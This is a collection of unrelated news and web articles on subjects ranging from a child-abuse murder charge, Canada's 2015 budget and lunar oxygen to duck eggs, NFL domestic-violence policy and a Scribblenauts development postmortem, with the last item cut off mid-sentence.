-Advertisement Police say baby died from injuries after beaten; father charged with murder Share Shares Copy Link Copy  Doctors removed a 4-month-old baby from life support Saturday night, and now his father is charged with his murder.App Users: Watch mobile videoFamily members described 4-month-old Jayceon Chrystie as a happy and healthy baby boy.They want to see that his father, Daniel Cox, gets the maximum punishment for the crime police said he committed.Police said Jayceon was beaten by Cox as he drove on South Dixie Hwy.“You just can't imagine someone beating a child like that while they are driving,” Dena Stevenson said.Stevenson, her husband and her daughter were among those traveling behind Cox on Thursday."He would hit the child. Turn around and bounce to his music. Twist his hat and hit the child again," she said.Stevenson and her husband were concerned for the child and so they called 911."He was hitting hard, swinging hard and, you know … he was literally hitting the baby in his head or in his chest or something,” Stevenson said.According to court records obtained by WLKY, Cox dropped Jayceon off in the driveway of the mother's home on Franklin Court in Radcliff, he was not breathing and he did not have a pulse.Doctors said Jayceon's left eye was swollen, he suffered swelling to his head and his right cheek and they noticed bruising on his butt and back.Jayceon was his mother's only child.Family members said Cox did not live with Jayceon.Cox told them he was taking the baby to visit one of his children for about an hour.Cox has been charged with child abuse and murder.His bond is set at $600,000.He will be back in court Monday morning.Read original report here.
-The Conservatives have their balanced budget — barely.  Finance Minister Joe Oliver has managed to keep the Conservatives' 2011 election promise to return Canada to a surplus in 2015 with a federal budget that has the government spending $1.4 billion less than it takes in — despite a spate of pre-election tax cuts announced last fall.  But the slim surpluses for this year and the next three years were bolstered by setting aside a smaller contingency fund than they planned just a few months ago in the fall economic update, as well as sales of some assets. Savings from public sector negotiations that haven't yet taken place also helped put the budget barely into the black.  Without shrinking those rainy day funds, the Conservatives would still be in deficit for 2015-16 and would be projecting a $0.9 billion surplus in 2016-17.  It's also clear how fragile the surplus is: a one-year, one percentage point decrease in the expected two per cent growth rate would drop the federal government back into deficit.  Oliver, however still found room for targeted tax measures to dress up a budget his party will take into the next election:  The annual contribution limit for tax-free savings accounts rises to $10,000 from $5,500, effective immediately.  Seniors at age 71 can leave more money in their tax-sheltered Registered Retirement Income Funds each year to help their savings last longer.  EI benefits to care for a sick or dying relative extended to six months from current six weeks.  A new home accessibility tax credit to renovate homes to make them more accessible for seniors and people with disabilities.  Small businesses earning less than half a million dollars will see their tax rate cut to nine per cent from 11 per cent by 2019.  Industry will see the accelerated capital cost allowance for new equipment extended 10 years.  Changes to student grant and loan programs to ease eligibility for short-term students and working students.  "Canadians need a break. Their expenses are significant," Oliver told reporters during a press conference Tuesday. "It's important for us to make life as affordable as we can."  However, while the government last year doubled its fitness tax credit for children, it seems to be pulling back on a promise to implement the same measure for adults. Budget 2015 notes the government promises only to put together a panel to "study the potential scope" of an adult fitness tax credit.  Oliver said oil prices fell so far last year that they aren't likely to plunge again. He also found reassurance in the growth projections of private-sector economists and Bank of Canada governor Stephen Poloz.  A whole volley of questions could be asked about possible changes to the government's $291 billion in revenue or approximately $289 billion in spending, Oliver said. But the one important fact is irrefutable:  "Our revenue will be greater than our expenses. That's how a balanced budget works," he said.  NDP, Liberal criticism  The NDP and Liberals criticized the government for moving ahead with income-splitting for two-parent families, which is most beneficial to families with a single high income. They also took aim at the increase in contribution room for tax-free savings accounts to $10,000.  Finance Minister Joe Oliver, left, and NDP Leader Tom Mulcair take part in TV interviews after the federal budget was tabled in the House of Commons on Parliament Hill in Ottawa on Tuesday. (Adrian Wyld/Canadian Press)  NDP Leader Tom Mulcair said Prime Minister Stephen Harper is "stubbornly clinging to his view" that the best thing to do for society is help the wealthiest.  "He wants to increase the tax-free savings account, which is very nice if you have $60,000 in your back pocket," Mulcair said.  Liberal Leader Justin Trudeau said his party would reverse the TFSA increase if it were in government.  "The TFSA itself, up to $5,000, is an encouragement to people to save and there's a lot of Canadians who do that," Trudeau said.  "But the reality is there's not a lot of people who at the end of the year have $10,000 laying around that they can invest."  The smaller contingency fund also raised Mulcair's hackles. He accused the Conservatives of abusing it to show a balanced budget in an election year.  "I think that's probably the contingency they're worried about ... the election."  Money for security  The government further massaged its bottom line with a promise to cut public service disability and sick leave, a pledge based on negotiations yet to take place. The budget projects the government will save $900 million in the current fiscal year due to "ensuring a healthier and more productive public service."  Joe Oliver, after a weeks-long delay brought on by falling oil prices and a sagging economy, has tabled his first budget as finance minister. It's a budget his party will take into this fall's federal election. (Adrian Wyld/Canadian Press)  Some of the programs were announced in previous budgets and are being re-announced. A series of measures for veterans falls into that category.  The budget also includes money for national security and defence, including $360 million this year for the fight against the Islamic State in Iraq and Syria (ISIS). Canada has committed to a renewed six-month combat mission in Iraq and Syria, which is set to expire in the fall.  The Conservatives are also promising to increase spending for National Defence from an annual 1.5 per cent increase to an annual three per cent increase, although the department has returned billions in unspent funds in recent years.  Other security-related spending includes:  $36 million over the next years to improve security on Parliament Hill.  $292.5 million for the RCMP, Canadian Security Intelligence Service (CSIS) and Canada Border Services Agency for counter-terrorism.  $2.5 million a year more for the Security Intelligence Review Committee, which reviews CSIS.  $19 million over five years for enhanced security for federal courts and court administration buildings.  $8 million over five years for better physical and IT security at the Supreme Court.  $10 million over five years to support police services in Ottawa.  $4 million over five years for security at Canadian Armed Forces bases.  $7.1 million this year to help train soldiers in Ukraine.  Some measures announced in this year's budget don't begin to take effect for years, including a new public transit fund to help cities fight traffic congestion by encouraging public-private infrastructure projects.
-Researchers in bicycle-mad Netherlands have come up with a novel way to get more cyclists out during the harsh winter months while also lowering the number of injuries: heated bike paths.  “The idea is to install a system under bike paths to prevent ice forming in winter,” engineer Marcel Boerefijn from the Tauw engineering consultancy told AFP.  Several Dutch municipalities have already expressed interest in the system that uses geothermal energy drawn from 30-50 metres (100-160 feet) below ground.  While the idea would cost 20,000-40,000 euros (25,000-50,000 dollars) per kilometre of bike path, of which the Netherlands has over 35,000 kilometres, Boerefijn prefers to vaunt the pragmatic side of the plan.  “There would be lots of savings: less salt to melt the ice, less medical costs because of accidents and fewer car expenses because people would rather travel by bike,” he said, citing a figure of 7,000 bike path accidents a year.  The eastern Dutch town of Zutphen, population 40,000, is awaiting the results of a preliminary assessment expected early next year before embarking on a feasibility study at a municipal level.  The Netherlands has an estimated 18 million bicycles for a population of around 16.5 million.
-Growth hacking. It’s a term that’s becoming more and more popular – especially in the start up and technology world. But, what exactly is it? Essentially, growth hacking is a new twist on digital marketing that is more applicable and more effective in today’s overwhelmingly digital age.  Growth hacking is basically a way that very small or brand-new companies use analytical tools to analyze who is using their product, and how, and then relentlessly pursue growth for their businesses.  The ultimate outcome of growth hacking is that your marketing work will get a lot of users, those users will spread word about your product or company to more users, those users will spread the word to more users, and so on.  So, where did growth hacking begin? Its origins are usually traced back to the small technology start up that began popping up in the early 2000s, when companies became less focused on creating an appealing brand or image to sell their company, but rather sought to spread its popularity by simply getting people talking about it and getting big numbers of users.  What’s ingenious about growth hackers’ work is that the tools to market and build the company are often built right into the programs or websites they’re developing so that once the product is created, the users do the work themselves – for instance, how Pinterest requires users to share the product with other prospective users before they can actually use the site.  Growth hackers often take any road to finding more customers, whether it’s clearly “legit” or not – for example, Airbnb hacking Craigslist to get email addresses of potential users.  Growth hacking is definitely the marketing tactic of the future, particularly when social media is everyone’s main source of news, entertainment and social interaction. Are you interested in learning more about what growth hacking is, how it works, what growth hackers are like, and how to become one or work with one? Then, check out the list below.  These 20 sites are great resources for anyone looking to grow their company virally or understand how other companies did.  General Growth Hacking Information  These sites contain some really helpful information about the basics of growth hacking: how it began, how it works, and how you might approach becoming a growth hacker or deciding to work with one.  1. How Growth Hacking Came To Be  This article about the origins of growth hacking, written by expert Aaron Ginn, explains the history of the digital marketing scheme and how it came into existence. Ginn’s story makes the emergence of growth hacking make sense in the context of the rise of social media and Internet marketing.  2. Sixteen Ventures  Successful growth hacker Lincoln Murphy has a blog that is full of useful tips about marketing your SAAS business. Yeah, he is technically the competition but he writes good posts and knows his stuff so we think its worth your while checking out his blog.  3. Startup Marketing  Sean Ellis, the brain behind Startup Marketing, is often considered the godfather of growth hacking; in fact, he coined the term. Startup Marketing contains useful marketing tips for any start up, and it separates all of its posts into categories, so you can check out marketing resources that are most applicable to your company without having to parse through every post.  4. Mashable – The 5 Phases of Growth Hacking  Mashable is a site with tons of diverse content. This page contains a useful guide to the different phases involved in growth hacking. It gives a clear outline so users can understand the basics behind creating a page or product and getting it to the viral stage.  5. The Definitive Guide to Growth Hacking  The Definitive Guide to Growth Hacking was written by Neil Patel, a digital marketing consultant and expert on growth hacking. Patel founded successful analytics companies KISSmetrics and Crazy Egg. The Definitive Guide to Growth Hacking is a long, comprehensive examination of growth hacking, including information about the growth-hacking process, what growth hackers are like, and different tactics to get and retain users and members.  6. Defining a Growth Hacker  Ever wondered what makes a growth hacker different from a marketer or very enthusiastic start up employee? This page, written by expert Aaron Ginn, outlines many myths people believe about growth hackers – and then debunks them.  7. Growth Hacker Is the New VP Marketing  Andrew Chen is often credited with making the term growth hacker popular. In this article, Chen explains the place of growth hackers in a company and how they work within a business.  8. The 6 Best Growth Hacks to Get Customers Without Having to Pay for Them  Great analytics site KISSmetrics explains some easy growth hacks for companies. This site is a terrific basic start for anyone who wants to head down the road to virality.  9. Become a Growth Hacker  Are you interested in becoming a growth hacker? Then, check out this site that reviews Growth Hacker TV, a service that teaches growth hacking skills and provides instruction and interviews about growth-hacking techniques. This overview can help you decide what route you want to take to learn growth-hacking skills.  10. The Difference Between Growth Hacking and Marketing  Want to get a better understanding of how growth hacking actually differs from regular marketing schemes? Check out this article on TheNextWeb.com. It’s a clear list of how the strategies, staff and ultimate outcomes of hacking and marketing are different.  Real-World Growth Hackers And Growth Hacking Stories  So, now you have a better understanding of how growth hacking works and how it came to be. But are you curious about how it works in the real world – and whether it really works? If so, check out these real-life growth-hacking stories. They are proof of the strategy’s success, when you get it right.  11. Meet the Growth Hacking Wizard Behind Facebook, Twitter and Quora’s Astonishing Success  This profile of Andy Johns in Forbes outlines how he helped successful sites like LinkedIn, Facebook, Twitter and Quora seemingly exploded in popularity overnight. It’s an inspiring story that can make you believe in the power of growth hacking.  12. Real Examples of Growth Hacking in Action  Dailytekk.com includes stories of real-life growth-hacking success in this article about growth hacking in action. It has firsthand accounts from people like Josh Elman of Twitter and Aaron Ginn of StumbleUpon.  13. 5 Classic Examples of Growth Hacking  This page contains some more real-world, classic examples of how growth hacking works. It’s a great resource to understand how sites like Airbnb, YouTube and Hotmail got so popular so quickly.  14. 19 Growth Hacker Quotes  Want to hear more straight from the mouths of growth-hacking experts? This slideshow from SlideShare contains 19 quotes from growth hackers that give a little insight into their philosophies on marketing and expanding businesses.  15. BuzzFeed’s Brazen, Nutty, Growth Plan  BuzzFeed is one of the most popular sites on the Internet today. In this article, you can learn more about its nontraditional marketing tactics, and how it has developed a way to translate its pages within hours, making it a globally viral site.  Hiring A Growth Hacker  Are you interested in hiring a growth hacker for your company? These links include information about what knowledge and qualities a growth hacker should have. They are also useful resources for developing a viral marketing strategy of your own.  16. How to Find a Growth Hacker  Want to find a growth hacker who can take over marketing your website? This article has some helpful information about where to look for experts and what qualifications they should have.  17. So, You Want to Hire a Growth Hacker?  If you’re looking to hire someone to manage your growth hacking, this article is a definite must-read. It outlines some very important, specific qualities growth hackers should have in order to attract the most customers and work well at a tech company.  18. Hire a Growth Hacker, Not a Marketer  This article out of the UK explains multiple reasons that a company hoping to go viral with a program or website should follow a growth hacking trajectory and not a traditional marketing strategy.  19. How to Hire a Growth Hacker  This step-by-step guide to hiring a growth hacker is written by Aaron Ginn, one of the world’s leading growth-hacking experts and the growth hacker behind companies like StumbleUpon.  Growth Hacking Products  20. Hacker Bundle  Lots of growth hacks are built into programs and sites, so that they work inherently as the product works. However, if you’re interested in growing your already-existing product virally, this hacker bundle includes a bunch of really useful marketing tools at a very affordable price.
-Prices fell 1.4pc in October and the average house has seen £27,000 wiped off its value in the past twelve months.  The number of completed housing sales has now fallen to its lowest level since the Nationwide series began in 1974, the building society added in its lastest House Price Survey, driving the decline in prices.  The crisis in the financial sector and the latest Government data suggesting a recession is imminent is likely to worsen the housing market slump and has “uncomfortable implications”, Nationwide said.  “A looming recession and continued financial market instability have uncomfortable implications for the housing and mortgage markets, and will undoubtedly affect the pace of recovery in house prices,” Fionnuala Earley, the Nationwide’s chief economist, said.  “However the speed of the economic slowdown and the determination on the part of central banks to return stability to the financial markets does mean that interest rates are likely to continue to be cut sharply which will make life easier for borrowers on variable rate loans and those coming to the end of fixed rate deals.
-If you can get your hands on duck eggs try them!  I grew up having both chickens and runner ducks and the eggs taste 100% better than a grocery store egg. Eggs you buy at the grocery store are at least 3 weeks old! I am helping out a local farmer in Boulder, Co. and have had access to duck eggs again. So I have been experimenting with them in my baking. When I use duck eggs, I have to adjust the recipe due to the size and also the ratio of yolk to white. When I make sunny side duck eggs, I notice that the white can get rubbery. Duck eggs have less water, so it is easy to over cook them. Yes, it is more expensive then the grocery store but it is well worth it! The average certified organic eggs per dozen cost $5.00 for chicken and $7.00 for ducks.  Duck Eggs Vs Chicken Eggs: Size  -Most duck eggs are about 70 grams in weight and chicken eggs are about 50 grams.  I also noticed that a duck eggshell is a lot tougher than a normal chicken eggshell. Some people say because of the thicker shell that duck eggs can be kept in the refrigerator for up to six weeks. I recommend buying eggs from a local farm and using them within a week unless you plan to make a meringue. For meringues I like to use at least a week old eggs. It will whip better and get more volume. Because the duck egg is larger, it has a larger yolk to white ratio than a chicken. So if you want more yolks- then duck eggs are the way to go.  Duck Vs Chicken Eggs: Nutrition  Duck eggs have a few more calories! (A 100 gm of duck egg will provide about 185 KCal of energy, compared to 149 KCal of energy provided by a chicken egg)  Higher Protein in duck eggs!  Mineral content better in duck eggs!  Duck eggs have a higher Vitamin Content!  Duck eggs have a considerably higher cholesterol content, compared to chicken eggs.  Duck Vs Chicken Eggs: Taste  Duck eggs taste different and I believe they are tastier than chicken eggs. So it is best if you try one out to decide! Every thing you do with a chicken egg, can be done with a duck egg. That includes scrambling them, poaching and baking.  Duck Vs. Chicken Eggs: Baking  Many bakers comment that duck eggs have a higher fat content that make cakes rise higher and the meringues are more stable and can get more volume.  Duck eggs make baked items fluffier than chicken eggs- you will be amazed. You substitute one duck egg per chicken egg in the recipe, even though the duck eggs are bigger.  Due to the higher yolk ratio to egg white in duck eggs they contain more fat which in turn makes Baked goods richer.  “They are also a good addition to gluten free baking—what your baked good loses in structure by omitting gluten can be partially gained back with the denser albumen (egg white protein)”. -Jamie Oliver  Animals on the Jacob Springs farm located in Boulder, CO.  This video will make you laugh. It is a video that my mom made the night before all the ducks got attacked by the mob aka an animal.  http://www.youtube.com/watch?v=Ulx0oucWtcI
-Yetunde Hawanya Tara Price (9 August 1972 – 14 September 2003)[1] was the elder half-sister of, and personal assistant to leading tennis players Venus and Serena Williams. In 2003, Price was murdered in a shooting in Compton, California.  Background [ edit ]  Yetunde Price was the eldest of Oracene Price's five daughters. She was one of the Williams’ three other sisters, a half-sibling from a previous relationship between their mother, tennis coach Oracene Price, and Yusef Rasheed.[1]  For a time, Price worked as a personal assistant to her tennis playing sisters, and also as a nurse. At the time of her death, she was the owner of a hair salon. According to media reports, Price, despite "accepting some financial assistance" from her sisters, continued to live with her children in their house in a "run-down" district and continued to work as a nurse, also engaging in her personal-assistant responsibilities which saw her appear at Wimbledon in the year of her death. According to the reports, Price was "determined to pay her own way in the world."[2] Price was the mother of three children. [1]  Murder [ edit ]  On the night of 14 September 2003, Price was chatting with her boyfriend in her SUV, parked outside what subsequently was revealed to be a trap house in the suburbs of Compton. According to the prosecution at the subsequent trial, two members of the Southside Compton Crips street gang who were guarding the house opened fire on the SUV in the belief that they were "defending [the] crack house from gangland rivals," presumably the Lime Hood Bompton Pirus.[3] Price's boyfriend, who later stated he did not initially realize that Price had been hit, sped the car away to a relative's home from where he called emergency services. Price was pronounced dead shortly after arriving at hospital, from a bullet wound in the head.[3]  Both the prosecutor and the defense at the murder trial agreed that Price was an innocent victim, and that neither she nor her companion were in the area to buy drugs.[3]  Trial [ edit ]  Southside Compton Crips street gang member Robert Edward Maxfield, 25 years old at the time of his conviction, pleaded no contest to voluntary manslaughter on 22 March 2006, the day before his third trial for Yetunde Price's killing was scheduled to start. The first two trials had ended in a mistrial after jurors were unable to reach a verdict.[4] The first trial ended in November 2004 with six jurors voting for acquittal, five for guilt, and one undecided. A second mistrial was declared 29 April 2005 when jurors deadlocked at 11-1 in favor of conviction.[5]  A murder charge against a second defendant, who was accused of firing a handgun during the incident, was dismissed after the first trial, when authorities stated he did not cause the fatal wound.[5]  On 6 April 2006, Judge Steven Suzukawa sentenced Maxfield to 15 years in prison with the possibility of parole.[5]  Aftermath [ edit ]  Compton rapper Game's 2005 song "Dreams" is dedicated to Yetunde Price's memory.  In 2016, the Williams sisters opened a community center in Compton for "victims of violence and their families" called the Yetunde Price Resource Center. Its tagline reads: “Committed to helping others heal.”[6]  On 8 March 2018, Maxfield, after getting his sentence cut for "good behavior," was released on parole from the Deuel Vocational Institution in Tracy, California, having served approximately 12 years in prison.[7] In an interview with Time, Serena Williams said she learned of his release on 31 July, through Instagram, ten minutes before her match against Johanna Konta at the 2018 Silicon Valley Classic, a match she went on to lose 6-1, 6-0 to Konta in 52 minutes.[8]  References [ edit ]
-Something strange happens on the Moon for 5 days during every lunar cycle. Its surface becomes electrically charged. Dust kicks up suddenly. It might even swirl into a light “storm” as particles electrically repel each other.  These are the 5 days when the Moon’s orbit crosses Earth’s magnetotail, the vast region of the planet’s magnetosphere that gets swept back by solar wind. Within the magnetotail is a structure called the plasma sheet, a layer with a weaker magnetic field that’s relatively thick with ions.  “Our new finding suggests that the Earth-Moon system coevolves not only physically but also chemically.” Now results from Japan’s Selenological and Engineering Explorer (SELENE) lunar orbiter show that during this time when the Moon passes through Earth’s plasma sheet, significant amounts of terrestrial oxygen from Earth rain down onto the Moon’s surface. This has likely been going on since oxygen became abundant in Earth’s atmosphere some 3 billion years ago.  “Our new finding suggests that the Earth-Moon system coevolves not only physically but also chemically,” said Kentaro Terada, lead author on the study and planetary scientist at Osaka University in Japan. The research, published today in Nature Astronomy, hints that someday Moon dust could help scientists study Earth’s ancient atmosphere.  Solar Versus Terrestrial Oxygen  Solar wind, the collective stream of highly energetic particles that hurtle from the Sun, constantly batters Earth’s magnetosphere, shaping it into its characteristic teardrop form. Behind Earth, the magnetotail extends more than 600,000 kilometers.  While Earth gets buffeted by solar wind, some particles—including hydrogen and oxygen ions stripped of electrons—escape along Earth’s magnetic field lines into the plasma sheet. For a brief period during every lunar orbit, the Moon passes through the plasma sheet, where it’s exposed to these ionized particles of terrestrial origin.  But do these particles—in particular, oxygen ions—make it to the lunar surface, and if so, how would we know? Thus far, it’s been “an enigma,” Terada said. After all, oxygen carried on the solar wind also arrives at the Moon after it orbits out of Earth’s magnetotail.  Researchers decided to look at data from SELENE, nicknamed Kaguya, to see if they could pick up signs of terrestrial oxygen in the days when the Moon passed through Earth’s magnetotail. Data from Kayuga, which stopped collecting observations in 2010, revealed that during a few hours every month the orbiter was bombarded with oxygen ions reminiscent of a terrestrial origin. These moments corresponded to when the Moon orbited through Earth’s plasma sheet.  The researchers could fingerprint these ions because oxygen originating in the Sun is more often “multicharged,” meaning that more of its electrons get stripped away because of the Sun’s extreme heat, Terada said. The charge on these oxygen atoms might be +6, +7, or +8, whereas terrestrial oxygen generally loses only one electron.  Assuming that what happens at Kayuga also happens on the Moon, the lunar surface also gets pelted with this terrestrial oxygen. Prior models suggest that heavier oxygen isotopes might be the ones escaping from Earth, although more research is needed to fully verify this fractionation. But this, the authors wrote, could explain why some oxygen isotopes of lunar metals sampled by the Apollo missions have relatively high abundances of heavier oxygen isotopes.  The oxygen that hits Kayuga, and thus the oxygen that hits the Moon, travelled with high energy. Such high-energy particles would hit the Moon and burrow into lunar soil, worming some tens of nanometers deep into minerals, they suggested.  An Archive of Biogenic Oxygen?  Earth hasn’t always hosted an oxygen-rich atmosphere. In fact, oxygen didn’t appear in significant amounts until about 2 billion years ago, when tiny, aquatic creatures called cyanobacteria evolved and started converting carbon dioxide into sugar and oxygen molecules through photosynthesis.  This could be “a really useful thing to be able to look at if we want to understand how the Earth and its atmosphere evolved over time.” “We can’t exactly go back and measure the Earth’s atmosphere a billion years ago,” said Jasper Halekas, a physicist at the University of Iowa in Iowa City who studies solar wind’s effects on the solar system but wasn’t involved in Terada’s research. However, an archive of Earth’s oxygen on the Moon could provide a window into that past, he explained. So this could be “a really useful thing to be able to look at if we want to understand how the Earth and its atmosphere evolved over time.”  However, distinguishing old Earth oxygen, new Earth oxygen, and oxygen that arrived on the solar wind will be extremely tricky: “We have no method of dating the exact time at which the sample reached the surface,” the authors wrote.  Remember: the authors expect that high-energy ions burrow into minerals in lunar soil. There’s currently no way to tell whether one ion burrowed thousands of years ago or only yesterday. And although higher abundances of heavier oxygen arrive at the Moon from Earth, Earth delivers to the Moon all isotopes, so it’s impossible right now to tell where an individual oxygen ion hailed from. So any oxygen on the Moon’s surface that originated from Earth forms an archive that scientists can’t yet read.  But this currently inscrutable archive may still have secrets to reveal. “A fundamental question about the Moon and other ‘airless’ bodies is how their tenuous atmospheres work,” Halekas said. How are materials delivered to the airless body, how are they liberated from the surface, and how are they lost?  “This new result is a measurement of a source of that atmosphere, so it’s another piece of that puzzle,” he explained.  Analogue to Phobos  These results might not just help scientists study our moon, Terada said. He suggests that this research could be applied to Mars’s moon Phobos.  Recently, data from NASA’s Mars Atmosphere and Volatile Evolution (MAVEN) mission spacecraft revealed that Mars once sported a thick atmosphere like Earth’s but that it could have been stripped away by solar wind. Could Mars have delivered particles to Phobos in the same way Earth sends particles to the Moon?  In 2022, the Japan Aerospace Exploration Agency (JAXA) plans to launch a spacecraft to Phobos, with hopes of collecting and returning soil samples to Earth. Perhaps Phobos, if it has a record of ancient particles from Mars preserved on its surface, could help scientists understand how Mars lost its atmosphere, Terada said. That is, of course, if the code to determining when oxygen ions burrowed into minerals and where those ions came from can be cracked.  —JoAnna Wendel (@JoAnnaScience), Staff Writer; and Mohi Kumar (@scimohi), Scientific Content Editor
-What you see above is a flat image – just like any one of the millions of other flat images on the web. Until now this is how we have viewed images from our favorite games, photos from our favorite movie sets, pictures of other people’s cats, porn – anything really. But with VR entering the mainstream in the coming months, that is all about to change – as it enables a dimensionality never before possible, and with that change the way we display visual content is likely to change with it.  Sketchfab is one of the companies currently looking at addressing this problem, with webVR enabled embeddable 3D models. Sketchfab announced a partnership at Microsoft’s Build conference with project Hololens to bring 3D models into the augmented space, but they are also really looking into the VR space as well. It’s not just single models either, you can load in full still scenes, like this one:  And here is the Oculus viewable link. Oh and one for Cardboard as well (for all of you on mobile).  Looking at embeds like these I can only think of one thing, a revolution in screenshots for VR. Rather than representing a flat screenshot from a game that doesn’t truly do justice to how it looks in VR, content creators will be able to load up a model of a representative scene from the game that will be viewable in VR.  Take these for example:  Oculus version.  Cardboard version.  Oculus version.  Cardboard version.  Being able to preview a scene in this way would be a much more representative view of the experience. In fact, we already are seeing this kind of thing in practice. The new update to the Samsung Gear’s Oculus home page added 360 degree screenshots to Herobound and it would appear that that may be something other developers adopt as well.  We are moving beyond the flat screen with virtual reality, and the rest of the content on the web is going to have to follow. WebVR may be early, but it is coming – it is inevitable.  Tagged with: 3d, 3d models, HoloLens, microsoft, sketchfab, virtual reality, VR, webvr
-Senators send letter to Roger Goodell  Steve Delsohn reports the details surrounding the domestic violence charge against Panthers DE Greg Hardy.  Sixteen female U.S. senators have sent a letter to commissioner Roger Goodell calling for a "real zero-tolerance policy" against domestic violence in the NFL.  The letter was sent to Goodell on Thursday. In it, the senators say they were "shocked and disgusted" by the video released Monday of former Baltimore Ravens running back Ray Rice striking his then-fiancée Janay Palmer in an Atlantic City, New Jersey, casino elevator and a subsequent report by The Associated Press that a league executive received the video from a law enforcement official in April.  "We are deeply concerned that the NFL's new policy, announced last month, would allow a player to commit a violent act against a woman and return after a short suspension," the letter reads. "If you violently assault a woman, you shouldn't get a second chance to play football in the NFL.  "The NFL's current policy sends a terrible message to players, fans and all Americans that even after committing a horrific act of violence, you can quickly be back on the field."  The letter ends with a call for the NFL "to institute a real zero-tolerance policy and send a strong message that the league will not tolerate violence against women by its players, who are role models for children across America."  The letter was put together by Sen. Barbara Boxer, D-Calif., and was signed by 14 Democrats and two Republicans.  President Barack Obama's press secretary released a statement earlier in the week, calling the issue of domestic violence "bigger than football."  "The president is the father of two daughters. And like any American, he believes that domestic violence is contemptible and unacceptable in a civilized society," the statement said. "Hitting a woman is not something a real man does, and that's true whether or not an act of violence happens in the public eye, or, far too often, behind closed doors. Stopping domestic violence is something that's bigger than football -- and all of us have a responsibility to put a stop to it."  Ray Anderson, formerly the vice president of football operations under Goodell, expressed his displeasure with the turn of events inside league headquarters.  "I am personally very disappointed that the leadership at the NFL's New York office seems to be swirling around in chaos," Anderson told Arizona Sports 98.7 FM. "That's sad, because there are too many good people working there that don't deserve that and I'll just leave it at that."  Anderson later added, "In my time in the league, I thought there was an appropriate moral compass. I struggle now because I'm not sure I have as much faith that is occurring."  The NFL has denied receiving the Rice video and announced late Wednesday night that former FBI director Robert S. Mueller III will conduct an inquiry into how the league handled evidence as it investigated the claims against Rice. The investigation will be overseen by NFL owners John Mara of the New York Giants and Art Rooney II of the Pittsburgh Steelers.  Terry O'Neill, the president of the National Organization for Women, issued a statement late Wednesday, calling Mueller's appointment "just window dressing."  Rice, 27, was charged with felony aggravated assault in his case, but in May he was accepted into a pretrial intervention program that allowed him to avoid jail time and could lead to the charge being purged from his record.  After Goodell drew criticism for not being tough enough on Rice, he wrote in a letter to all 32 team owners in August, "My disciplinary decision led the public to question our sincerity, our commitment, and whether we understood the toll that domestic violence inflicts on so many families. I take responsibility both for the decision and for ensuring that our actions in the future properly reflect our values."  "I didn't get it right," he added. "Simply put, we have to do better. And we will."  First-time offenders now face a six-game suspension.  Carolina Panthers defensive end Greg Hardy, who was convicted on two counts of domestic violence and is appealing the verdict, remains active, as does Ray McDonald of the San Francisco 49ers, who is being investigated for abuse allegations.  The Panthers and 49ers have not publicly discussed details of their investigations, saying only that they are following the NFL's lead in waiting for the legal process to run its course.  Information from The Associated Press was used in this report.
-November 18, 2009 12:00 AM | Simon Carless  [Here's the latest postmortem extract from our colleagues at Game Developer magazine, and it's an exclusive from the most excellent and startlingly freeform Scribblenauts from the 5th Cell folks - excellent!]  The latest, November 2009 issue of GSW sister publication Game Developer magazine has just recently debuted, and includes a postmortem of 5th Cell's Scribblenauts, written by studio co-founder Joseph Tringali.  Scribblenauts, a unique word-driven puzzle platformer, was the third original Nintendo DS property from Bellevue-based 5th Cell. Its widely-discussed main hook is the ability for players to enter nearly any conceivable non-proper noun into its text parser, at which point the game will spawn that item into the world.  Initial Lack of Vision  The complaint most frequently leveraged against Scribblenauts revolved around its often-finicky touch screen controls, and 5th Cell acknowledges that the scheme was not given the attention it may have needed:  "The sensitivity of the stylus controls is easily the biggest issue in Scribblenauts, a fact that has been reinforced by reviewers and users. We knew this was going to take a big hit from reviewers, but we could only spend a limited amount of work on it. We discussed a secondary D-pad control option midway through development only to come to the conclusion it would take a single person 3–4 weeks to integrate it. On our self-funded schedule, that route was not an option."  "The root cause of this issue was limited time, and our decision to focus more on delivering what we had promised with the 'Write anything. Solve everything.' The slogan was the right one in the end, but it hurt the second most important part of the game, the controls.  "We still feel stylus control was the correct decision for Scribblenauts. The DS is a casual platform by design and allowing non-gamers the ease of use of a pencil-like system for a game targeted at everyone over a D-pad only scheme was overall the best choice. But in retrospect; our implementation of those controls was only at 50 percent of where it needed to be.  "It would have been better to cut a secondary feature early on, such as the Wi-Fi connection, to allow us the time to fully realize stylus controls. However by the time we realized controls would take weeks to get right from play testing, it was too late to cut features."  Localization  Most games have to deal with localization, but few games rely so exclusively on text not just for narrative concerns but for fundamental gameplay. As one might expect, that aspect of Scribblenauts proved difficult at times:  "Our products have always released worldwide, so we planned for localization in Scribblenauts from the start. We built in localization support for the dictionary in Objectnaut, and planned to handle in-game localization as we had in our previous titles. Unfortunately, Scribblenauts ended up with far more text then we anticipated, and because of the level finalization coming late, our hint text that displayed at the beginning of each level wasn’t localizable until the last minute.  "Our localization system for previous games had relied on a custom tool which pulled text from .txt strings and exported to Microsoft Excel, which could then be sent to the localizers. What was sent back was imported using the same tool and showed up in game. The tool itself was very useful, but optimized for previous titles that only had game text. With Scribblenauts, we had game text plus a huge dictionary, and they both utilized different systems.  "We delivered Scribblenauts in English, French, Spanish, Brazilian Portuguese, German, Italian, Dutch, U.K.-English, Danish, Finnish, Swedish and Norwegian. We had unique dictionaries for every language, and these word lists were constantly being updated. Version control became a nightmare as we tracked dozens of files for both dictionary files and word lists.  "The system, although severely stressed, made it through, and we shipped all languages. If I could revisit pre-production, we should have either invested in building or licensing a single web tool to manage all the game text."  Level Design From Project Start  Structurally, Scribblenauts is a direct series of levels, in the most straightforward way. That, along with the open-ended nature of the gameplay, meant it was crucial to get going with level design as early as possible:  "We devoted a good chunk of time to designing levels on paper early on in the project. Because Scribblenauts is a game where the designers could use anything they could think of in a level, it was really important to break away from habits in traditional level design and really take advantage of our dictionary.  "While initially our level designs were simple and familiar, the more time we spent designing on paper, the more interesting and outlandish our designs became.  "The amount of time we spent brainstorming, iterating, researching, and challenging each others’ ideas meant we had an increasingly varied landscape to pull from, and from there we chose which levels would go into the final game—to the tune of more than seven-hundred level designs, sampling as much of our dictionary as possible to give players a sense of its scope."  Additional Info  The full postmortem for Scribblenauts explores more of "What Went Right" and "What Went Wrong" during the course of the game's development, and is now available in the November 2009 issue of Game Developer magazine.  The issue also includes a roundup of more than 50 of the year's most interesting industry figures, an analysis of cloud computing, an interview with Sega veteran Naoto Ohshima (Sonic the Hedgehog, Nights into Dreams), and our regular monthly columns on design, art, music, programming, and humor.  Worldwide paper-based subscriptions to Game Developer magazine are currently available at the official magazine website, and the Game Developer Digital version of the issue is also now available, with the site offering six months' 